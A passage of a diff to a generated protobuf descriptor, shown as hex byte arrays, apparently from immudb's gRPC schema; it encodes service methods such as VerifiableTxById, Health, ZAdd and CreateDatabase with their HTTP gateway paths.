0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, + 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, + 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, + 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, + 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, - 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, - 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, - 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, - 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, - 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, - 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, + 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, + 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, - 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, - 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, - 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, - 0x12, 0x74, 0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, + 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, + 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, + 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, + 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, + 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, + 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x63, 0x0a, 0x0c, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x88, 0x02, 0x01, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, - 0x2a, 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, - 0x74, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, - 0x22, 0x16, 0x82, 0xd3, 